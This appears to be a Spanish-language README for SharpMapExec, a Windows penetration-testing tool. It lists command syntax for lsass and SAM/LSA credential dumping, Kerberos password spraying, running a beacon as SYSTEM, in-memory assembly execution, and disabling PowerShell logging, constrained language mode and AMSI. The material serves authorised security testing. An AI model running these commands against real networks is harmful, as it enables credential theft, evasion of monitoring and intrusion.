Navaja suiza de pruebas de penetración nativa de Windows para movimiento lateral, acceso a credenciales, exfiltración de datos y escaneo de vulnerabilidades a través de los protocolos CIM, SMB, WinRM, LDAP y de Dominio con autenticación Kerberos/NTLM.
Una versión mejorada de CrackMapExec. Esta herramienta está diseñada para simplificar las pruebas de penetración de redes y crear una navaja suiza que funcione en Windows, un requisito común durante las simulaciones de amenazas internas.
Además de escanear en busca de acceso, se puede utilizar para identificar configuraciones vulnerables y extraer datos. La idea de los módulos de exfiltración de datos es ejecutar la menor cantidad de código necesario en el equipo remoto. Para lograrlo, la herramienta descargará todos los secretos al directorio loot y los analizará localmente.
Puedes especificar si deseas usar autenticación Kerberos o NTLM. Si eliges Kerberos, la herramienta creará un token sacrificial y usará Rubeus para importar/solicitar el ticket. Si se especifica NTLM, la herramienta usará SetThreadToken de SharpKatz o la suplantación LogonUser.
SharpMapExec.exe
usage:
--- Cim ---
Need plaintext password or the /impersonate flag
SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET
Available Cim modules
/m:enable_winrm (Runs Enable-PSRemoting -Force)
/m:disable_winrm (Runs Disable-PSRemoting -Force)
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:disable_pslogging (Modify registry to disable PowerShell Logging)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Reg32 ---
SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET
SharpMapExec.exe kerberos reg32 </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Reg32 modules
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Smb ---
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Smb modules
/m:shares (Scan for accessible Smb shares)
--- WinRm ---
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
WinRm modules
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump & parse lsass)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute local C# assembly in memory)
/m:assembly /p:beacon.exe /system (Execute local C# assembly as System in memory)
/m:assembly /p:getMailBox.exe /delegwalk (Execute local C# assembly in all unique delegation processes in memory)
/m:download /path:C:\file /destination:file (Download file from host)
/m:upload /path:C:\file /destination:file (Upload file to host)
--- Domain ---
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
SharpMapExec.exe tgtdeleg
--- Ldap ---
SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE
SharpMapExec.exe kerberos ldap </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:TICKET.Kirbi>
Ldap modules
/m:spraydata (Download user and password policy)
Se puede usar para escanear en busca de acceso administrativo, recursos compartidos SMB accesibles, versión de SMB y firmado de relay.
/m:shares (Scan enumerated shares for access)
La bestia. Tiene integrado un bypass de AMSI, ruptura del lenguaje JEA y análisis de funciones JEA. Se puede usar para ejecución de código, escaneo de acceso PsRemote, endpoints JEA vulnerables y exfiltración de datos.
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump Lsass Process)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
/m:download /path:C:\file /destination:file (Download File from Host)
Actualmente admite el rociado de contraseñas (password spraying) en el dominio y la creación de un TGT para el usuario actual, que se puede usar con el parámetro /ticket para obtener el contexto actual.
Descargar los datos necesarios antes de hacer password spraying.
/m:spraydata (Download user and password policy)
Para ejecución fácil o masiva en memoria de ensamblados C#

Rociado de contraseñas Kerberos seguido de escaneo de acceso de administrador local

Este proyecto admite el escaneo de endpoints JEA y analiza el código fuente de comandos no predeterminados, además de verificar si el endpoint no fue configurado en modo no-language.

Descubrir la reutilización de contraseñas de administrador local con un hash NT.

Volcado masivo del proceso Lsass con una DLL firmada por Microsoft integrada y guardado en la carpeta loot

Ejecuta en todos los procesos de delegación ordenados por usuarios únicos

Escanear la firma SMB y SMBv1

¡Y mucho más!
Algunos escenarios con Kerberos requerirán sincronizar el reloj con el DC y configurar el DNS:
net time \\DC01.hackit.local /set
Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
Proyectos que ayudaron o están presentes en esta herramienta: